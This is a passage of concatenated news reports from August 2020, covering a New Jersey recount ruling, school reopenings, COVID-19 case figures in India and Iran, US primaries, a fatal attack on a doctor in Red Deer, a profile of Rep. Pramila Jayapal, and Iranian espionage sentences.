and start with a machine recheck and then move to a recount if the candidate pursues it. When most votes are cast by machine, it is not as time-consuming to do a recount, and Singh said he feels he is being treated differently because a hand recount would be so time-consuming. But in his decision, Mendez said the statute requires a candidate to show objective evidence of either errors made in counting the votes or show that election results were extremely close. Singh proved neither, Mendez said. NJ legislation to address COVID-19 as candidates, parties adjust Atlantic County Republicans have canceled their annual convention, and some 2nd District con Singh said 27,000 ballots have been thrown out statewide, tens of thousands more remain uncounted and he has received reports of irregularities in how the optical scanners have counted paper ballots. The primary election, ordered postponed from June 2 to July 7 by Gov. Phil Murphy to allow for a mostly vote-by-mail election to avoid spreading COVID-19, was certified statewide Aug. 9. The Diocese of Worcester announced how it plans to reopen schools for the fall. David Perda, diocesan Superintendent of Worcester Catholic Schools, said that there is no one plan that applies to all the schools because of the differences among them. Most of the schools are preparing for on-site learning but some will begin with a hybrid model combining part-time in school and part-time at home classes, a statement sent to MassLive said. The layout of the classrooms, size of rooms, common areas and hallways, etc. vary from school to school, Perda said in the statement. Individual plans were developed by each schools leadership utilizing appropriate input and feedback at the school level. Some of the procedures in place will include, teachers rather than students moving to different rooms, training programs for students and families to understand the expectations and making wearing masks mandatory for grades 2 and up, and recommended for younger grades. Perda also said schools are securing a supply of PPEs for teachers and staff members. I think the key factor here is that these other states have not been mandating and monitoring the safety precautions which we have implemented so well in Massachusetts. When you see videos of students in crowded hallways without masks, it is clear that they are not following the level of detail we are committed to in our individual school plans, Perda said. That is why starting the year with good orientation and agreeing to expectations on everyones part is key to our overall mission to educate these students to the best of our ability. The Diocese of Worcesters plans to reopen are aligned with many other private schools across the country. Most are trying to do in person, Kathy Mears, the CEO of the National Catholic Education Association, told National Catholic Reporter. Its what most people want, keeping in mind however that everybody understands that the safety of children comes first, and the safety of teachers comes first. The smaller class sizes and flexibility compared to that of public schools make it easier for these schools to return in-person in the fall, NCR reported. And while Massachusetts Catholic schools were not required to submit their plans to DESE, Perda said the diocese chose to submit their plans given the depth of expertise at the states disposal. Related Content: Omjasvin MD By Express News Service CHENNAI: Even as most parts of the city are limping back to recovery from COVID-19, officials are worried about the surge in cases in corporation zones like Ambattur. On July 31, Ambattur had about 1200 active cases while on August 10, it had 1619 active cases -- the highest among corporation zones. Only three corporation zones have active cases above 1000. While the number of cases in close to ten corporation zones has declined, Ambattur has constantly been recording a growth in cases. Officials say that five streets in Ambattur -- SRP Kovil Street, South Park Street, Kamarajar Street, Padi Pudhu Nagar Street and Raja Street -- are recording a high number of cases lately. "One week ago, there were 67 streets with active cases in Ambattur. Now there are 125 streets. More cases are coming from Padi and containment measures are in place,'' an official with the zone said. Officials said that out of the 125 streets, Padi alone has 30 streets with active cases while Mogappair too has 30 streets. "At this juncture, it is hard to identify the source of infection but all the contacts are being quarantined and tested,'' the official said. Corporation officials said that Chennai totally has close to 650 streets with active cases now, which is a slight surge from the past few days, when there were just 513 streets. "The increase in numbers must not worry people as a street is marked active for 14 days, even if there's just one case. So, the numbers may fluctuate daily,'' a health department official from the civic body said. Despite the surge in cases, fever camps in Ambattur are fewer, compared to some other zones. On Monday, 41 camps were held, while in Teynampet and Kodambakkam, where case growth is relatively low, close to 60 camps were held. Officials said the camps focus on areas like Padi and Mogappair, with more people in a single camp. "More than 2000 people attend these camps daily, which is higher than most zones. That's why more cases are coming out,'' the official said, adding that there's no need to increase the number of camps. Meanwhile, the city recorded 986 cases on Tuesday while 1108 people were discharged. Active cases in the city have dropped to just 10.2 percent and are expected to go down further, given the higher number of people getting discharged every day. Six states hold primaries and runoffs on Tuesday, but the spotlight will be on Representative Ilhan Omar, Democrat of Minnesota. In her primary race for re-election on Tuesday, she hopes to continue a string of victories by progressive candidates nationwide, but she faces a well-financed challenge from Antone Melton-Meaux, a lawyer who has raised more than $4 million. In Georgia, a Republican QAnon supporter has a good chance of winning her partys nomination in the 14th Congressional District. But the attention in Georgia will be on the election system there as much as on the candidates; ditto Wisconsin, which also votes on Tuesday. These two battleground states struggled to hold earlier primary elections amid the coronavirus pandemic; though Tuesdays elections will probably have lower turnout, any test of the voting apparatus in Wisconsin and in Georgia will be closely monitored. Polls are open from 8 a.m. to 9 p.m. Eastern time in Minnesota; 7 a.m. to 7 p.m. Eastern time in Georgia; and 8 a.m. to 9 p.m. Eastern time in Wisconsin. Is Ilhan Omar in trouble? It was long thought that Representative Rashida Tlaib, Democrat of Michigan, was the only member of the so-called squad who would face a difficult re-election. But by the time Ms. Tlaib cruised to victory last week, Ms. Omars challenge might have eclipsed Ms. Tlaibs. Thats because Ms. Omar is facing a well-funded opponent. Penn State University announced a sexual assault was reported late Monday morning, in a student parking lot. According to the university, the assault occurred between 11:30 and 11:50 a.m. adjacent to Parking Lot Purple 43, which is in the area of Hastings and Porter roads in the southeastern part of campus. The victim was a visitor to campus and reported being sexually assaulted by a known person, the university said. No additional information was released by the school. It can be assumed that conditions continue to exist that may pose a threat to members and guests of the University community, the university said in its statement. Anyone with information on the assault is asked to contact Penn State University Police at 814-863-1111. Read more on PennLive: Representative Maxine Waters said on Sunday that she was positive that Joe Biden, the presumptive nominee of the Democratic Party, will be picking an African American woman as his running mate ahead of Biden's foreseen announcement in the forthcoming days. The California Democrat told CNN that whomever Biden will choose as his running mate will be historic, adding that she was sure that it will be an African American woman. Waters precisely pointed out influence from Rep. James Clyburn of South Carolina and the way Black women have emerged in the US. She also emphasized how they have shown to be the most reliable faces of the Democratic Party as the main reason why she was certain that Biden will soon be choosing an African American Woman. Five months ago, the presumptive nominee of the Democrats has been pledging to select a woman to team up with, 11 prospective vice-presidential candidates have gone through screening of their financial record, medical histories, and personal backgrounds. The quest has been conducted in secrecy, with even several senior-level campaign advisers not personally aware of what their presumptive presidential nominee was thinking. Read also: Ohio Republicans Says Joe Biden's Thinking is Tangled by 'Racist Concepts' But talks with the Democrats close to the process, together with the party officials and donors who have also considered, recommended Sen. Kamala Harris of California, former national security adviser of Obama, Susan Rice, and Governor of Michigan Gretchen Whitmer were included in the list of those being seriously considered by Bidden as his probable running mate as he nears the end of his quest. Joe Biden does not particularly have a close kinship with most of the women included on his search list, people who have known about Biden's search for his running mate commented that he was taking reasonable time assessing materials. He stated that he has been watching the television interviews of his probable running mates, and following his gut feeling with the objective of finding the most suitable person whom he believes has the loyalty that can develop into a real governing relationship, The Hill reported. On Thursday, Biden has said in an interview that his search for his probable running mate has been very orderly and that every woman his team has interviewed was qualified for the position, adding that he has already narrowed down his list. On Sunday, during an interview, Rep. Waters has been asked if she knew who Biden would choose and she answered that she does not particularly know whom it will be at that moment, and added that she has someone to prefer but does not think that it would affect who Biden would be choosing. Waters said Biden might have narrowed down his list to two, and that would possibly be Sen. Kamala Harris and Susan Rice, believing that either one of them will be chosen by Biden as his partner for the candidacy. But Rep. Waters added that she has her own preference. Moreover, Rep. Waters articulated she will not reveal who her preference is, but believing that Biden will be choosing the same person. Related article: Donald Trump Denies Claims Russia is Helping Him Win Elections, Says China is Vouching for Joe Biden @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Bhubaneswar, Aug 11 : The Odisha government has decided to celebrate Independence Day without the participation of the general public amid the ongoing Covid-19 pandemic, said an official on Tuesday. The government has also decided to keep it a low-key affair by not organising a parade or a march past this year. According to the guidelines issued by the Home department on Tuesday, only 50 to 75 guests, including Covid warriors, will be invited to the celebrations. The guests should include nearly 15 to 20 Corona Warriors, said a Home department letter to all District Collectors and Superintendents of Police. "Only one or two police contingent to participate in the ceremony for offering compliments to the Chief Guest during the celebration," the letter said. It is imperative that social-distancing norms and mask-wearing are followed strictly by those attending the function, it said. Besides, the venue must be well sanitised and a hand sanitiser should be available at the entrance. Latest updates on Independence Day 2020 RED DEER, Alta. - A witness to a fatal attack at a central Alberta medical clinic says the victim was her family doctor, and while Mounties refused to confirm the victim's identity they condemned the killing and praised the quick response from police. Hey there, time traveller! This article was published 10/8/2020 (526 days ago), so information in it may no longer be current. A physician died after he was attacked in an examination room at the Village Mall walk-in clinic in Red Deer, Alta., Monday, Aug. 10, 2020.THE CANADIAN PRESS/Jeff McIntosh RED DEER, Alta. - A witness to a fatal attack at a central Alberta medical clinic says the victim was her family doctor, and while Mounties refused to confirm the victim's identity they condemned the killing and praised the quick response from police. "I am sickened to learn that a member of our community died in such a violent tragedy," Supt. Gerald Grobmeier told a news conference late Monday. "Our heart breaks for the victim's family and friends, and I offer my sincere condolences to all those who are grieving this evening." Grobmeier said a suspect was arrested at the scene and remained in custody, but that charges were still pending. Police are not seeking any other suspects and say the community is not in danger. The assault happened at the Village Mall Walk-In Clinic in Red Deer just before noon on Monday. Anina Mullin said she was waiting in the lobby of the clinic with her 13-year-old daughter when they heard a commotion. "We heard banging and then, 'Help Me! Help Me! Call 911! Call 911!'" Mullin told rdnewsNOW. "That was the doctor screaming, yelling. One of the receptionists ran to the door. It was at the far end of the walk-in clinic and she came running back like she had seen a ghost and was like, 'Can someone help him?'" Mullin said two larger men nearby sprang into action to assist. They came back quickly, telling everyone to get out. "I grabbed my teenage daughter's hand and we just ran as fast as we could out the doors. Once we got outside, we got into the truck and waited. And she's like, 'Mom can we go?' And I said, 'No, I'm too shaken. I can't." Mullin said the two men who had helped stood at the clinic door and held it shut until police arrived. "The one police officer went to the door and opened the door and had his gun drawn and he yelled, 'Put it down, put it down or I will shoot you!'" said Mullin. "At that time, a hammer flew at the police officer and bashed into the door and then flew outside. It was drenched in blood ... like you couldn't see any metal on it. It was just covered in blood." Mullin said the officer then ordered someone to 'put down the machete' and went inside. He was quickly joined by other officers, who brought out the suspect in handcuffs. "He was wearing a hooded sweater with his hood up," said Mullin. "He had blood all around the rim of his sleeves and large clothes. From there, the ambulances came and they all rushed in with medical bags and a stretcher ... they also brought out the other patients I assume were in the other waiting rooms along with two other doctors and a bunch of nurses." After that, Mullin said her doctor was brought out on a stretcher. RdnewsNOW is not naming the physician. RCMP would not say if the victim was a doctor. Grobmeier said one of the responding officers was hit with a "blunt weapon" and suffered minor injuries. He said the officer then disarmed the suspect without further incident. He said police were at the scene with two to three minutes of the initial call and had the suspect in custody within five minutes. "This was an extremely quick response time and likely prevented further tragedy." Grobmeier said, praising the bravery of the officer who disarmed the suspect. He said no firearms were discharged. Grobemeier said police weren't releasing information about the victim, whether the attack was targeted or what weapon was used in order to protect the integrity of the investigation. However, he said the investigation was moving rapidly and that charges against the suspect are anticipated. Dr. Christine Molnar, president of the Alberta Medical Association, said in a statement that the organization will be reaching out to local medical staff for support. Premier Jason Kenney and Alberta Health Minister Tyler Shandro both tweeted Monday that they were saddened to hear about the fatal attack on the doctor. "Can't imagine the pain and sorrow his family and clinic staff are now going through," Kenney said. "On behalf of all Albertans, our deepest condolences go out to them." Shandro said his thoughts and prayers are with all staff and patients who witnessed the attack. Mullin said she had "never" seen anything quite as horrific as that attack. "It's definitely affected my daughter. It's hard to get out of your mind," she said. "I don't know if I could ever go back into that clinic. It's awful." (rdnewsNOW) With files from Rob Drinkwater in Edmonton and Bill Graveland in Calgary This report by The Canadian Press was first published Aug. 10, 2020 Metro Manila (CNN Philippines, August 11) A public health advocate on Tuesday expressed optimism that a much-awaited vaccine for COVID-19 may be available by December. Speaking to CNN Philippines, former COVID-19 task force special adviser Dr. Tony Leachon welcomed the offers of countries like Russia and China to share a virus vaccine with the Philippines, saying multi-sourcing will prove to be beneficial in the long run. Im optimistic. Kasi dadagdag to dun sa mga bakunang lalabas (because these will add to the other vaccines that will come out) from other markets, Leachon said in an interview with The Source, citing products being developed by big-name global companies such as Moderna, Pfizer, and AstraZeneca, among others. Dapat multiple yung options natin. Because alam naman natin iyang supply chain will not be accomplished Multi-sourcing ang kailangan natin dito, he added. [Translation: We should have mutiple options. Because we know the supply chain will not be accomplished. We need multi-sourcing.] Leachons sentiment mirrors President Rodrigo Dutertes for the coronavirus will be developed by the end of the year. The chief executive earlier floated the possibility that China may be among the first countries to complete its research and development, with Beijing assuring the Philippines of priority access once vaccines are already available. Duterte, in his address to the nation late Monday night, expressed confidence that the latest vaccine offer from Russia will also prove to be effective, volunteering himself to be the first person to try the product. China and Russia are among the countries participating in the race for a global vaccine for the mysterious coronavirus. Candidate vaccines from the United States and the United Kingdom have likewise entered late-stage trials, but developers stressed the timeline for their rollout will still depend on data. Leachon, whos also had several years of work experience for a multi-national pharmaceutical firm, stressed the need for a review of the clinical trials once they come in the country. Kung mag-uumpisa tayo sa Russian and Chinese, dapat repasuhin ho yan ng FDA (Food and Drug Administration) together with pharmacologists and infectious disease experts. And then sana yung kanilang clinical trials ay ma-translate into English para maaral po natin bago maibigay sa ating mga kababayan, Leachon said. [Translation: If we will start with the Russian and Chinese vaccines, the FDA should thoroughly review these together with pharmacologists and infectious disease experts. And hopefully, the clinical trials can be translated to English so we can study them before giving them to Filipinos.] US Secretary of State Mike Pompeo arrives in Prague to begin a five-day visit to central Europe. US Secretary of State Mike Pompeo has arrived in Prague to begin a five-day visit to central Europe with Chinas role in 5G network construction dominating his agenda. Pompeo will spend two days in the Czech Republic before moving on to Slovenia, Austria and close ally Poland, which is eager to welcome some of the US troops leaving Germany to guard against historic adversary Russia. The focus will be on Pompeos campaign for nations to shun Huawei, the Chinese telecommunications giant considered a threat by Washington as it takes a lead in fifth-generation internet, and to reduce Europes energy dependence on Russia. On Tuesday, Pompeo will join his Czech counterpart Tomas Petricek on a trip to Plzen (Pilsen) to pay tribute to US troops that liberated the western Czech city in 1945. On Wednesday, he will meet Czech and US technology companies over 5G before talks with billionaire Czech Prime Minister Andrej Babis. Pompeo will also deliver a speech in the Czech Senate and hold a short meeting with the pro-Russian, pro-Chinese Czech President Milos Zeman. The next day, Pompeo will travel to Slovenia where he is due to sign a bilateral agreement on 5G security. Still, on Thursday, Pompeo will travel to Austria to meet Chancellor Sebastian Kurz for talks on US-Austrian trade and Austrias involvement in peacekeeping missions worldwide. Redeployment of US troops Finally, the secretary will move to Poland on Saturday to discuss the redeployment of troops pulled from Germany. The Pentagon has recently said the United States would bring home about 6,400 military personnel from Germany and move nearly 5,600 more to other NATO allies. The Donald Trump administration has close ties with Polish President Andrzej Duda, who had earned an invitation to the White House days before being re-elected in June. Polish Minister of Defence Mariusz Blaszczak said the US will deploy at least 1,000 additional troops to Poland. Photo: Mandel Ngan/Pool/Getty Images Pramila Jayapal has been arrested three times. First in 2010, and again in 2013, during her years as a community organizer in Seattle. But between arrests number two and three, which took place in 2018, a few things changed. For one, Jayapal had been elected to Congress. I am an unusual elected official, the representative from Washington admits early in her new book, though she adds that the late Representative John Lewis, a moral North Star to her, had a much longer arrest record. By the time she became one of the few immigrants and women of color in an overwhelmingly white Congress, Jayapal was already a fighter. She remains one, as Attorney General Bill Barr and Amazon CEO Jeff Bezos recently learned in contentious House hearings. Jayapals trajectory maps roughly onto that of the left at large. Her circumstances have changed, and so have ours; the president is now Donald Trump, and not Barack Obama. But her arrests all share a context. In America the immigrant is a consistent scapegoat, propitiation for a number of national sins. Jayapal protested deportations under Obama, then family separations under Trump. I really think that Trump is both a symptom and a cause, she tells me from her home in Seattle, where she lives with her husband, Steve, and an 85-pound Labradoodle named Otis. We have to deal with the symptom, and get Trump out of office. But we also have to deal with the cause, and thats inequities in racial, gender, and economic justice, and the system that has perpetuated them. My deep fear, she adds, is that we get Trump out of office, but dont do enough to address the root causes. And we leave open that giant wound to fester, so that people can again use it to their advantage to divide us, and to get another Trump. She knows that half measures can fail. On June 8, she urged city officials to end the use of tear gas, rubber bullets, and flash bangs. The citys mayor, Jenny Durkan, had announced a tear-gas ban days earlier, but it was temporary, only banned one version of tear gas, and included a large carve-out, which the police quickly abused. Jayapal and several members of the City Council want a permanent ban, a transformative new model of policing that starts with a Robin Hood gesture. Take from the police, who are flush with cash, and give to the citys needy. While that falls short of some activists demands its not abolition it remains further than even many Democrats want to go. She splits her time now between Seattle and Washington, D.C., where she recently helped the Justice in Policing Act pass the House. In many respects, then, Jayapal is a politician of the moment. One of the most outspoken progressives in Congress, she represents an area that often functions like an incubator for left-wing policy and protest. The nations pundits would argue, perhaps, that what flies in Seattle wont necessarily work anywhere else. Jayapal doesnt buy that. I mean, look at the $15 minimum wage, right? We were the first major city to do that. And I was on that committee. And now whether youre in southwest Virginia, she says, naming my native region, or wherever you are, the $15 minimum wage is seen as really, really important. And thats true on so many issues. She relates a story about a community in northeast Oregon, where she once taught writing. (Jayapal majored in English, to the consternation of her parents.) They had protests over the murder of George Floyd, she continues. And I never in a million years would have imagined all those people out on the streets in that very tiny, conservative area. She has a point. People are protesting for Black lives in southwest Virginia, too, in the coal towns, and in the bigger cities. Outrage spreads far beyond the imaginary borders of blue America. For all its progress, Seattle isnt a liberal paradise, either. The city has its own complications and contradictions. Gentrification and a booming tech sector have driven up housing prices, and the mayor, Durkan, recently alienated progressives for her failure to control the citys brutal police force. Activism runs into institutionalism, even in Seattle. That friction created an apt proving ground for Jayapal, who now co-chairs the Congressional Progressive Caucus. Jayapals book, which is part memoir, part organizing manual, outlines those challenges at length. Use the Power You Have: A Brown Womans Guide to Politics and Political Change traces her trajectory from activist to state senator to member of Congress. While she couldnt have anticipated that it would arrive in such a charged moment she tells me that she first signed her book contract in 2012 she believes it has a lot to offer readers now. People are always asking me how we address the issue of voices that are not at the table in policy-making, she told me this summer. And I think everything thats happening right now, from the economic devastation of the COVID pandemic to the protests in the streets around the murdering of Black lives, is directly related to that to the question of power. That question has driven Jayapal for a long time. Before she was in politics or even activism, she was a new immigrant, sent abroad by her Indian parents at 16 so she could enroll at Georgetown University. Jayapal made a life in the U.S., and later married an American citizen. But she briefly lost her green card in 1997, after the premature birth of her child forced her to extend a stay in India. American immigration law stipulates that green-card applicants can only leave the U.S. for set periods of time. In the book, she credits professional connections for helping her come home. My permanent resident status was restored, but all the years that qualified me for citizenship were stripped away and I had to start again from scratch, she writes. She became a citizen in 2000, less than a year before the events of September 11, 2001 transformed both the U.S. and the trajectory of her own life. In the wake of the attacks, President George W. Bush cast the war on terror in apocalyptic terms, an existential struggle between us and a broad category of other. People listened, and some, Jayapal notes, targeted Muslims and Sikhs often mistaken for Muslims for acts of vigilante violence. Jayapal then a distraught new citizen, began to organize, starting with a push to declare Seattle a Hate Free Zone. She later started a group by the same name; it has since evolved into OneAmerica. Jayapal says she sees parallels between the events that first propelled her into activism and the abuses of the Trump presidency. The days right after Trump got elected felt very much like those post-9/11 days. Except that I had gone through it, and so I almost felt like I had a road map of what to do, she says. What is a compromise on family separation? Should we just lock up half of the children that have been separated from their families? But its not all bad news. The Supreme Courts June rulings on DACA and anti-LGBT discrimination at work made her so joyful, she says. Both decisions have personal meaning for her. The DACA ruling protects hard-won gains for the immigrant-rights movement. The Bostock cases, meanwhile, created new protections for her nonbinary child, Janak, whos now in their early 20s. Thinking about all those milestones that got us to this point, that just would not have happened without the organizing and the storytelling and the courage of people, she adds. When her organization, Hate Free Zone, signed on to an amicus brief in Andersen v. King County, which challenged Washingtons ban on same-sex marriage, she says they were the only non-LGBTQ organization to do so. We got so much grief from many immigrant communities who were not ready to sign on to marriage equality, who didnt see it as the civil-rights issue that I did, she remembers. Then we invested for ten years in building the intersections between immigration and LGBTQ equality. Organizing has changed since then, she adds, and multiethnic and multi-issue coalition work has become more common in particular. But shes still figuring out where she fits as a member of the Establishment. As an organizer, she was on the outside, pushing the party to move left on issues like immigration and the minimum wage. Her book recounts at length a struggle to convince other Democrats in the state senate to reject a bill repealing regulations on the payday-lending industry. It didnt work. I wasnt part of the Democratic Party, with a capital D and a capital P, she explains. Now an insider, a rising Democratic star with a national profile, Jayapal can find herself on the receiving end of criticism from activists. Despite its name, the CPC is ideologically diverse, and its rank-and-file members arent all as liberal as Jayapal. On issues like national security and immigration, they can in fact be significantly to her right and as a caucus co-chair, its her task to figure out where exactly to draw the line. For me, it has to be a principled compromise, she says. So when people say, well, Republicans and Democrats should just compromise, I get a little testy because what is a compromise on family separation? Should we just lock up half of the children that have been separated from their families? Thats not really a compromise. That testiness reemerged in July, during Attorney General Bill Barrs contentious appearance in front of the House Judiciary Committee. Jayapal wanted Barr to explain why federal officers had attacked Black Lives Matter protesters but ignored death threats directed at Michigan governor Gretchen Whitmer by opponents of her pandemic lockdown measures. Barr couldnt, or wouldnt, provide a satisfactory answer. You take an aggressive approach to Black Lives Matter protests but not to right-wing extremists threatening to lynch the governor, if its for the presidents benefit. Did I get it right, Mr. Barr? demanded a visibly aggravated Jayapal. The clash was prime viral content. But in context, that heated moment belonged to a deliberate and pointed line of questioning. I wrote and rewrote that script multiple times, she tells me by phone in early August. I wanted to draw a very clear contrast that people would be able to understand. About how hes using the Justice Department to further the presidents personal agenda, and doing it through trampling on the constitutional rights of some, but not responding at all to hate. The anger, however, wasnt part of any strategy. She had decided to start off softly, see how things went; with his evasive responses, Barr sealed his own fate. He was annoying me! she explains, laughing a little. So I had to respond in kind. Political life generates questions that nobody with principles wants to contemplate. When do you compromise, and how much do you concede? Ask an organizer and a congresswoman, and theyll offer two different answers. For some lawmakers, compromise might be a refuge, a way out of taking a costly stand. But a politician who says theyre on the left, as opposed to the center, invites high expectations for their work. Jayapal wrestles openly with that dilemma. If she has to settle, she says to me, shell take a small step forward over none at all, and will continue to push where she can, as far as she can. Take Medicare for All, which Jayapal strongly supports. House Speaker Nancy Pelosi will probably never back Jayapals Medicare for All bill, but despite this, Jayapal, her CPC co-chair Mark Pocan from Wisconsin, and their allies were able to negotiate the first House hearings on the policy in 2019. The progressives pushed, too, for the inclusion of a patient voice on the witness list: Ady Barkan, who lives with ALS and is a prominent supporter of Medicare for All. The process of getting Barkan on the list had been complicated, and almost did not happen, Jayapal writes in her book. In the end, Barkan decided to utilize his own relationship with Speaker Pelosi, and told Pelosi it was his dream to testify for Medicare for All. Only then did he get the chance to appear. With pro-Medicare for All progressives like Jamaal Bowman and Mondaire Jones now headed to the House, Jayapal will have more allies than she did during that initial, historic hearing. The nomination of Joe Biden, though, represents something of a setback in the fight for left-wing policies. Biden is steadfastly opposed to Medicare for All, even in the middle of a pandemic; in the past, hes even implied that he might not sign the bill if it reached his desk. If he defeats Trump, members like Jayapal and Pocan and Alexandria Ocasio-Cortez will go from being the opposition within the opposition to a goad at the back of a conservative Democratic president. But Jayapal is ready. To me, she stresses the importance of electing Biden, pointing out that left-wing Democrats stand to achieve more under Biden than they possibly could under Trump. She co-chaired the Biden-Sanders Unity Task Force on health care, another exercise in compromise. We did not get Medicare for All. We never expected that we would, she says. But I would say that we did make some significant gains. Both in actual policy, and in the framing of how we can never again be caught flat-footed on health care during another pandemic. Were really taking on racial inequity and untethering employment to health care, plus the automatic enrollment of uninsured into health-care options. But the minute Biden is in, she adds, we have to switch to continuing the fight. Its a fight she believes the left can win, on Capitol Hill and in the streets. To activists pushing for prison abolition and a health-care system that doesnt abandon the poor to die, Congress can look like an obstacle, not an institution worth the time it would take to engage it. Why run for office when it takes years of work to even get hearings on Medicare for All? Or when the opposition party nominates an architect of the infamous 1994 crime bill to take on Trump? Theres a need for organizers everywhere, she points out. Not everyone needs to run for office. Someone has to stay on the outside, the place she once occupied, and press legislators for change, as she once did. But Congress itself is an organizing opportunity, she adds, a chance to build infrastructure for ideas and politicians that even the Democratic Party leaves behind. We are much more powerful if we are at the table with our voices, even when we feel frustrated that we arent getting enough of a response, she says. Just imagine what it would be like if we werent there. An Iranian newspaper has been shut down for reporting an interview which said the 'true' death toll from coronavirus was 20 times higher than official government figures. The Jahan-e Sanat publication, an economics-focussed daily newspaper, was shut down for publishing an interview with a former member of the national coronavirus task force, according to the newspaper's editor-in-chief, Mohammadreza Saadi. Mohammadreza Mahboubfar, an epidemiologist, was quoted saying the death toll from the epidemic could be 20 times higher than official figures. Fatalities could be as high as 37,000 with 6.5million cases. Women wearing protective face masks shop at a bazaar following the outbreak of the coronavirus disease (COVID-19), in Tehran, Iran, July 8, 2020 Official figures from Iran, which one official said could be 20 times lower than the true number of cases Official figures from Iran, which one official said could be 20 times lower than the true number of deaths 'The figures announced by the officials on coronavirus cases and deaths account for only 5 per cent of the country's real tolls,' Mahboubfar said. Health Ministry spokeswoman Sima Sadat Lari rejected Mahboubfar's remarks and said he was not a member of the National Coronavirus Combat Taskforce, according to IRNA. It was not clear if she meant he had never been a member of the body, as claimed by the newspaper. Mahboubfar told the newspaper that authorities had detected the coronavirus in January, while Iran announced its first infections and two deaths from the virus on 19 February. 'There was no transparent flow of information...The government only provided engineered figures...over concerns about (its impact) on the election and the commemorations of the revolution anniversary,' Mahboubfar told the daily. Reuters reported in April that authorities refrained from announcing the spread of the coronavirus in Iran out of concern that it would unsettle the public ahead of parliamentary elections on Feb. and the celebrations for the anniversary of the 1979 Islamic Revolution. Iranian President Hassan Rouhani (right) and Iranian Health Minister Said Nemecky (left) attend the National Combat Board Meeting with Coronavirus in Tehran, Iran on August 01, 2020 Iran is one of the worst-hit countries from COVID-19 in the Middle East, with 18,616 dead and 328,844 infected cases. Some experts and lawmakers have doubted the accuracy of Iran's official coronavirus tolls. A report by the Iranian parliamentas research centre in April suggested that the coronavirus tolls might be almost twice as many as those announced by the health ministry. It said Iran's official coronavirus figures were based only on the number of deaths in hospitals and those who had already tested positive for the coronaviru The Patna district administration has constituted a cell to probe allegations of exorbitant charge levied by private hospitals for treatment of Covid-19 patients even as cases continued to spike in Bihar, taking the tally of positive patients to 86,812 on Monday. The testing on Tuesday rose to a record 83,314 samples, while the recovery rate improved by .27%, as compared to Mondays figure. In the past 24 hours, 15 Sars-Cov-2 virus triggered deaths were reported from various districts taking the toll to 465, according to the bulletin issued by the state health department. Besides this, six deaths were reported from NMCH and AIIMS-Patna, said their respective Covid-19 nodal officers. While reviewing the situation in the capital, Patna district magistrate Kumar Ravi accepted that he had received complaints of exorbitant money being charged by private hospitals for the treatment of Covid-19 patients. He asked the additional deputy collector to identify such hospitals and take strict action against them. Also Read: Bihar labs underperform in RT-PCR tests; Centre asks state to increase capacity Patna continues to be a cause for concern, with the total number of infections rising to 14,446 with the addition of 552 fresh cases on Monday. Bhagalpur is a distant second with 3,719 cases followed by 3,600 cases in Muzaffarpur. Giving details of the 15 deaths, health secretary Lokesh Kumar Singh said three patients from Vaishali fell prey to the disease, followed by two each from Bhagalpur, Patna and Samastipur and one each from Bhojpur, Munger, Muzaffarpur, Rohtas, Saran and Supaul districts. NMCHs Covid-19 nodal officer Dr Mukul Kumar Singh, said the three positive patients with heart disease who hailed from Bhojpur, Begusarai and Patna and were in the age group of 52 to 70 years, passed away on Monday. The three other patients, who died at AIIMS-Patna, were aged between 46 and 62 years and were from Naukaha village, Beur and Anisabad localities of Patna, said Dr Sanjeev Kumar, nodal officer, Covid-19, AIIMS-Patna. The health secretary said in the last 24 hours, 2,900 patients had recovered from the disease, taking the total number of recoveries to 57,039 which translates into 65.70% recovery rate. The total count of active cases is 32,222, according to a tweet from the health department. The department has conducted 11, 80, 566 tests for Covid 19 so far. Random testing on second day The district administration on the second day carried out rapid antigen tests on 190 people, including greengrocers and auto drivers. Patna divisional commissioner Sanjay Kumar Agarwal said just two persons tested positive, while all 83 auto drivers tested negative. Agarwal asked the district magistrates of Nalanda, Rohtas, Buxar, Kaimur, Buxar and Patna to conduct rapid antigen tests on greengrocers and auto drivers in their respective districts. A former business associate of Tessa Jowell's husband has been sentenced by an Iranian court to ten years in prison on espionage charges. Shahram Shirkhani spied for British intelligence services and allegedly passed on 'sensitive information', judiciary spokesman Gholamhossein Esmaili said. He is a former business associate of David Mills, The Times reported, the husband of Baroness Jowell who died from a brain tumour in 2018. Shirkhani had been seeking to 'corrupt authorities and recruit' people for MI6, Esmaili added. Shirkhani had also sought to give away information on 'contracts related to the central bank, Melli Bank and the defence ministry', the spokesman said. Shahram Shirkhani spied for British intelligence services and tried to recruit Iranian officials for MI6, judiciary spokesman Gholamhossein Esmaili (pictured) said Iranian-British lawyer Shirkhani, a founding partner at a Tehran law firm, was teaching in the faculty of law at Islamic Azad University when he was arrested, The Times said. Another man was also sentenced to 10 years behind bars in a separate case. Masoud Mosaheb, who was co-secretary of the Iran-Austria Friendship Society, was handed the jail term. He was convicted of spying for Israel's Mossad and the German intelligence services, the spokesman said, in 'the guise' of the general secretary of the Austrian-Iranian Society. Mossaheb was found to have been providing them with information on Iran's 'missile, nuclear, nanotechnology and medical fields', he added. Tessa Jowell is pictured with David Mills after she was presented with her Dame Commander insignia at Buckingham Palace on on January 25, 2013 Austria called in mid-2019 for the release of Mossaheb, who was then 72 years old. According to Austria's Der Standard newspaper, Mossaheb had travelled to Iran to accompany a delegation from an Austrian research centre which had opened a subsidiary near Tehran. After his detention in January 2019, his family had no contact with him for weeks before eventually learning that he was being held in Tehran's Evin prison. The Austrian-Iranian Society says its aim is to foster closer ties between the two countries, particularly in the economic sphere. Esmaili also said five more people had been arrested recently for alleged espionage in the foreign, defence and industries ministries, companies working in the energy industry, and Iran's atomic agency. He did not give their identities or elaborate on their charges, but Iran is known for arresting and convicting those accused of spying on behalf of foreign countries, including the US and Israel. MI6 is the foreign intelligence service of the United Kingdom government and is tasked with overseas collection and analysis of human intelligence to support national security In July, Iran executed Reza Asgari, a former defense ministry employee convicted of spying on behalf of the Central Intelligence Agency. Mahmoud Mousavi Majd, a member of the Revolutionary Guard, was also executed last month. He was convicted of providing information to the US and Israel about top Guard general Qassem Soleiman. A court found him guilty of receiving large amounts of money from the CIA and Mossad to supply information on the Quds force, Soleimani headed, including the whereabouts of its commander. However, Majd was not directly involved in the killing of Soleimani at Baghdad airport on January 3, having been arrested two years ago. Soleimani was killed in a US drone strike moments after he arrived in Iraq amid fears he was about to orchestrate attacks on the US embassy. The move brought Iran and the US to the brink of war, and in the end Tehran retaliated by firing a volley of ballistic missiles at US troops stationed in Iraq. Mahmoud Mousavi Majd (left), a translator who worked with Iran's Revolutionary Guard, has been executed for helping the US carry out the raid which killed Qassem Soleimani (right) In June this 